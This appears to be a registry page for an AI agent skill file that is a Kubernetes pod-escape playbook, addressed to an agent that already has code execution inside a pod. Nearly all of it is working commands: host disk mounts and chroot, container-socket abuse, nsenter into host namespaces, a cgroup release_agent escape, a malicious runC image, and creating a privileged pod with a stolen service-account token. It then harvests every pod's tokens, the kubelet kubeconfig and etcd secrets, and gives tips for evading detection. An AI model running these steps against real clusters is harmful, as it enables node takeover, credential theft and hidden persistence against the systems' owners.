Kubernetes pod escape to node — privileged container abuse, hostPath mount escape, hostPID/hostIPC, capability misuse (SYS_ADMIN, SYS_PTRACE), runC CVE chains. Pivots from RCE-in-pod to full node compromise.
65
78%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/cloud/container/k8s-pod-escape/SKILL.mdYou have RCE inside a pod. Goal: break out of the container to the underlying node, then pivot to the cluster.
# Identify how you're contained
cat /proc/self/status | grep -E '^(Cap|Seccomp|NoNewPriv)'
cat /proc/1/status | grep -i cap
mount | grep -E 'cgroup|hostpath|/var/run/docker.sock|/var/run/crio'
ls -la /dev | head -20
id
hostname
# Service-account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 60
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# Token + APIserver — confirm you can talk to the API
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces/default/pods# Privileged = full host kernel access. CapEff: 0000003fffffffff is the giveaway.
grep CapEff /proc/self/status
# 0000003fffffffff or "ALL" → you're privileged. /dev/sda1, /dev/kmsg etc are visible.
ls -la /dev/sda* /dev/nvme*
# Mount host filesystem:
mkdir /mnt/host
mount /dev/sda1 /mnt/host # adjust device — `lsblk` to confirm
chroot /mnt/host /bin/bash
# Now you're root on the node.# Look for suspicious mounts
mount | grep -E '/host|/node|docker.sock|/etc|/root'
# /var/lib/kubelet mounted? You can read every other pod's secrets.
ls /var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/ 2>/dev/null
# /var/run/docker.sock or /run/containerd/containerd.sock mounted = node compromise
docker -H unix:///var/run/docker.sock run --rm -it --privileged -v /:/host alpine chroot /host
ctr -a /run/containerd/containerd.sock run --rm -t --privileged --mount type=bind,src=/,dst=/host,options=rbind alpine escape sh -c 'chroot /host'# hostPID lets you see all node processes
ps auxf | head
# SYS_PTRACE in CapEff lets you inject into them
grep CapEff /proc/self/status
# 0000000000080000 includes CAP_SYS_PTRACE
# Find a host-side root process and inject a shell
nsenter -t 1 -m -u -i -n -p sh
# 'nsenter -t 1' enters PID 1's namespaces — that's the host's init on a node with hostPID# Common in CI/CD runners (Docker-in-Docker patterns)
grep CapEff /proc/self/status # 00000000a82425fb or similar with bit 21 set
# cgroup_release_agent escape (kernel < 5.8 on hosts without user-NS isolation)
mkdir /tmp/x && mount -t cgroup -o memory cgroup /tmp/x
echo 1 > /tmp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/x/release_agent
cat > /cmd <<'EOF'
#!/bin/sh
ip a > /tmp/host_ip
id > /tmp/host_id
EOF
chmod +x /cmd
sh -c "echo \$\$ > /tmp/x/cgroup.procs"
# /tmp/host_id now contains the HOST's id outputIf runC < 1.1.12 / Docker < 25.0.3 / containerd < 1.7.13: WORKDIR + symlink trickery lets a malicious image escape. Check node runC version via the kubelet API or by reading /etc/docker/version if exposed.
# Build a malicious image
cat > Dockerfile <<'EOF'
FROM scratch
WORKDIR /proc/self/fd/8
ENTRYPOINT ["/bin/sh"]
EOF
docker build -t evil .
# Then run on target node — the WORKDIR points fd 8 (an open kernel FD) → host FS access
docker run --rm -it evilIf the SA has pods/exec on a privileged pod or nodes/proxy on the node:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# List privileged pods
curl -sk -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/pods?fieldSelector=spec.securityContext.privileged=true
# Or: SA has `create pods` on kube-system → run a privileged pod yourself
kubectl --token="$TOKEN" --server=https://kubernetes.default.svc \
--insecure-skip-tls-verify run pwn --image=alpine \
--overrides='{"spec":{"hostPID":true,"hostNetwork":true,"containers":[{"name":"pwn","image":"alpine","command":["nsenter","-t","1","-m","-u","-i","-n","-p","sh"],"securityContext":{"privileged":true},"volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"name":"host","hostPath":{"path":"/"}}]}}'Once you're on the node, pivot to the cluster:
# Steal every pod's SA token
find /var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/*/token -exec cat {} \; -exec echo --- \;
# Steal kubelet kubeconfig (cluster-admin-equivalent on many clusters)
cat /etc/kubernetes/kubelet.conf
# Read all pod secrets from etcd if running on a master node
ETCDCTL_API=3 etcdctl --endpoints=127.0.0.1:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \
--key=/etc/kubernetes/pki/etcd/healthcheck-client.key \
get / --prefix --keys-only | grep secretsdmesg | tail for telemetry.nsenter, mount from container, and chroot outside the container. Quiet variants: write the payload to a host-shared volume and exec from a benign-looking process name.0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.